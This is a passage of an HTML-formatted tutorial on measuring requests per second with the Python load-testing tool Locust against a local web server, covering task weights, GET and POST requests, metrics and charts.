  &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We create a class that imports from &lt;em&gt;Httpuser&lt;/em&gt; and assign it a method with the &lt;em&gt;task&lt;/em&gt; decorator. Below we use the get method of client and pass it the path to which the request will be made.&lt;/p&gt;&#xA;&lt;p&gt;Now we execute the locust command from the terminal.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;locust&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing it we will have a server running at &lt;em&gt;http://localhost:8089/&lt;/em&gt;. If we enter we will see a screen like this:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PantallaInicialLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PantallaInicialLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Initial screen for locust&#34; width=&#34;534&#34; height=&#34;641&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Here we place, in order:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The number of total users,&lt;/li&gt;&#xA;&lt;li&gt;The speed at which locust will create users per second&lt;/li&gt;&#xA;&lt;li&gt;The host to test.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;We fill in the data, I will use 200 users, 2 users created per second and http://localhost:1323, which directs to a local web server.&lt;/p&gt;&#xA;&lt;p&gt;Press the &amp;ldquo;start swarming&amp;rdquo; button and locust will take care of the rest, gradually increasing the number of users.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Watch real-time monitoring. To stop it press the stop button in the upper right corner.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/MonitoreoTiempoRealLocust.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/MonitoreoTiempoRealLocust.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Locust supports real-time monitoring&#34; width=&#34;1915&#34; height=&#34;598&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;metrics-in-locust&#34;&gt;Metrics in locust&lt;/h2&gt;&#xA;&lt;p&gt;The statistics tab gives us the following information.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/EstadisticasLocust.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/EstadisticasLocust.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Locust Statistics&#34; width=&#34;1805&#34; height=&#34;228&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Type of request&lt;/li&gt;&#xA;&lt;li&gt;Name of the route&lt;/li&gt;&#xA;&lt;li&gt;Number of requests&lt;/li&gt;&#xA;&lt;li&gt;Number of failures&lt;/li&gt;&#xA;&lt;li&gt;Average response time&lt;/li&gt;&#xA;&lt;li&gt;The response time for the 90th percentile,&lt;/li&gt;&#xA;&lt;li&gt;Their average, minimum and maximum values&lt;/li&gt;&#xA;&lt;li&gt;Response size&lt;/li&gt;&#xA;&lt;li&gt;Requests per second&lt;/li&gt;&#xA;&lt;li&gt;Current failures&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;graphics-in-locust&#34;&gt;Graphics in locust&lt;/h2&gt;&#xA;&lt;p&gt;When we stop the test, we will have downloadable charts in the charts tab.&lt;/p&gt;&#xA;&lt;p&gt;The first with the number of requests per second on the Y-axis.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PeticionesPorSegundo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/PeticionesPorSegundo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Total requests per second&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The second with the response time on the y-axis.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/TiempoDeRespuesta.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/TiempoDeRespuesta.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Response Time&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Finally, the third one, with the number of users on the Y-axis.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/NumeroDeUsuarios.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/python/how-to-measure-requests-per-second-with-locust-in-python/images/NumeroDeUsuarios.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Number of users&#34; width=&#34;1778&#34; height=&#34;348&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;add-more-requests-per-user&#34;&gt;Add more requests per user&lt;/h2&gt;&#xA;&lt;p&gt;We can create custom behavior for our users by adding more user actions by making more get requests via the &lt;em&gt;client&lt;/em&gt; object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This tells locust that each user will make a request to the root path and then a request to the &lt;em&gt;/about&lt;/em&gt; path. And so we can add as many requests per user as we want.&lt;/p&gt;&#xA;&lt;h2 id=&#34;adding-users-with-different-behaviors-in-locust&#34;&gt;Adding users with different behaviors in Locust&lt;/h2&gt;&#xA;&lt;p&gt;As you know, we can&amp;rsquo;t expect every user to go first to home and then to the &lt;em&gt;about&lt;/em&gt; (or any other) section, real users don&amp;rsquo;t behave like that. Each function decorated with @task represents a different behavior, so if we add more decorated functions we will have more behaviors available.&lt;/p&gt;&#xA;&lt;p&gt;When a user is created, Locust will assign it to the behavior of a single role decorated with @task. How does it decide which one? Randomly, with the same weight for each role; if there are two roles decorated with @task half of the users generated by locust will go to one task and the other half to the other.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client,get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When a fake user is created it will have a 50% chance of being assigned to one of these two behaviors:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visit home (/) and then visit the about section.&lt;/li&gt;&#xA;&lt;li&gt;Visit the feed section&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;assigning-different-weights&#34;&gt;Assigning different weights&lt;/h3&gt;&#xA;&lt;p&gt;But what if we know that three times as much of our traffic goes to feed instead of home?&lt;/p&gt;&#xA;&lt;p&gt;If we pass a number as an argument to the @task decorator, it will use it as a weighting to load traffic in proportion to the value we specify.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client,get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/about&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now the users created will also be redirected to &lt;em&gt;/feed&lt;/em&gt;, and not only that, but each user generated is three times more likely to go to &lt;em&gt;/feed&lt;/em&gt;, so that route will receive more traffic.&lt;/p&gt;&#xA;&lt;h2 id=&#34;post-requests-in-locust&#34;&gt;POST requests in locust&lt;/h2&gt;&#xA;&lt;p&gt;What about POST requests? Well, locust also allows you to make POST requests, just use the &lt;em&gt;client&lt;/em&gt; post method instead of get&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; between(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_home&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_about&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/feed&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@task&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;test_login&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;client&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;post(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/login&amp;#34;&lt;/span&gt;, {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;testuser&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;secret&amp;#34;&lt;/span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But what if the request fails, what if we want to evaluate the effect that a certain POST request has on a route? For that we can use the response object.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-response-object-in-locust&#34;&gt;The response object in Locust&lt;/h2&gt;&#xA;&lt;p&gt;Each request we make will return a &lt;em&gt;response&lt;/em&gt; object, which contains information about the result of our request.&lt;/p&gt;&#xA;&lt;p&gt;We can wrap our request in a Python &lt;em&gt;with&lt;/em&gt; block and assign it to a &lt;em&gt;response&lt;/em&gt; object. This object will have multiple properties, just to name a few:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cookies&lt;/li&gt;&#xA;&lt;li&gt;apparent_encoding&lt;/li&gt;&#xA;&lt;li&gt;status_code&lt;/li&gt;&#xA;&lt;li&gt;success&lt;/li&gt;&#xA;&lt;li&gt;text&lt;/li&gt;&#xA;&lt;li&gt;url&lt;/li&gt;&#xA;&lt;li&gt;content&lt;/li&gt;&#xA;&lt;li&gt;connection&lt;/li&gt;&#xA;&lt;li&gt;elapsed&lt;/li&gt;&#xA;&lt;li&gt;history&lt;/li&gt;&#xA;&lt;li&gt;request&lt;/li&gt;&#xA;&lt;li&gt;request_meta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;analysing-errors&#34;&gt;Analysing errors&lt;/h3&gt;&#xA;&lt;p&gt;Knowing the above we can obtain the different data related to the request and customize our monitoring flow. Observe:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; locust &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; HttpUser, task, between&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;HelloWorldUser&lt;/span&gt;(HttpUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    wait_time &lt;span 